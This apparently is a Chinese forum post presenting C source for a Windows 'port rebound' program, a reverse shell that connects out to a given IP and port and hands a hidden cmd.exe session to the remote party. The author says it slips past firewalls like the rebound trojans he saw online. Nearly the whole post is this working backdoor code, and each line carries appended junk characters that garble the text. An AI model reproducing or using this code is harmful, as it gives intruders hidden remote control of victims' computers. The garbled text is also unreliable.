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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8WnwQ%;m?  
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/* ============================== '7O3/GDK  
Rebound port in Windows NT vVOh3{e|  
By wind,2006/7 '],J$ge  
===============================*/ @S|XGf  
#include 1GzAG;UUo6  
#include y5!KXAQ%  
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#pragma comment(lib,"wsock32.lib") T=ev[ mS  
x7O-Y~[2  
void OutputShell(); 2}8v(%s p  
SOCKET sClient; |\pbir  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; oq}'}`lw"  
!qG7V:6  
void main(int argc,char **argv) $|8!BOx8t  
{ Jv^h\~*jH  
WSADATA stWsaData; O%bEB g  
int nRet; vN;mP d~g  
SOCKADDR_IN stSaiClient,stSaiServer; .9wk@C(Eh_  
;+"+3  
if(argc != 3) V:y'Qf2M  
{ F w?[lS  
printf("Useage:\n\rRebound DestIP DestPort\n"); M3.do^ss  
return; {.XEL  
} YPxM<Gfa8  
Yw- G'  
WSAStartup(MAKEWORD(2,2),&stWsaData); ov, hI>0!D  
(!:,+*YY  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YOcO4   
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stSaiClient.sin_family = AF_INET; >7 ="8  
stSaiClient.sin_port = htons(0); CB^U6ZS  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @{2 5xTt  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \kZ?  
{ |:gf lseE  
printf("Bind Socket Failed!\n"); ff^=Ruf$  
return; m;,N)<~  
} +U3DG$  
hv?9*tLh0  
stSaiServer.sin_family = AF_INET; 'tH_p  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s%W C/ZK  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,y#Kv|R  
o2F)%TDY  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) NCDvo bYJ  
{ {z{bY\  
printf("Connect Error!"); y gz6C  
return; A*\.NTM  
} z:wutqru  
OutputShell(); %%[LKSTb  
} x<ZJb  
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void OutputShell() XuFYYx~ ^3  
{ )P sY($ &  
char szBuff[1024]; p^w;kN  
SECURITY_ATTRIBUTES stSecurityAttributes; lN Yt`xp  
OSVERSIONINFO stOsversionInfo; JJN.ugT}1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9P+-#B  
STARTUPINFO stStartupInfo; vQ 6^xvk]  
char *szShell; xA$XT[D  
PROCESS_INFORMATION stProcessInformation; 1ukTA@Rj&  
unsigned long lBytesRead; EFM5,gB.m  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); , K~}\CR  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Jcd-  
stSecurityAttributes.lpSecurityDescriptor = 0; J| w>a  
stSecurityAttributes.bInheritHandle = TRUE; \| 8  
Wi)_H$KII  
9dx/hFA  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |Y ,b?*UF  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <eWf<  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); X4~y7  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b0Ps5G\ u  
stStartupInfo.wShowWindow = SW_HIDE; #cI{Fe0h  
stStartupInfo.hStdInput = hReadPipe; 3EPv"f^V  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _uy44; zq  
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GetVersionEx(&stOsversionInfo); &i6),{QN  
u7>],<  
switch(stOsversionInfo.dwPlatformId) ?67Y-\}  
{ Q' {M L4  
case 1: _l8 9  
szShell = "command.com"; \!.B+7t=I  
break; UM"- nZ>[  
default: [1Qo#w1  
szShell = "cmd.exe"; +nFu|qM}  
break; <Z mg#  
} 1~NT.tY  
qm/22:&v5  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V_.5b&@  
Rl?_^dPx  
send(sClient,szMsg,77,0); ia!y!_L\'  
while(1) g}1B;zGf  
{ V17%=bCZ5[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iP ->S\  
if(lBytesRead) .WZ^5>M-  
{ h-`?{k&e  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); m[~y@7AK<  
send(sClient,szBuff,lBytesRead,0); mn"G_I  
} 8e1UmM[  
else 3YOq2pW72G  
{ "*e$aTZB\  
lBytesRead=recv(sClient,szBuff,1024,0); qN9(S:_Px  
if(lBytesRead<=0) break; -=)H{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (c=6yV@  
} 8Fz#A.%P  
} 7x|9n  
?N*>*"  
return; ?]_$Dcmx  
}
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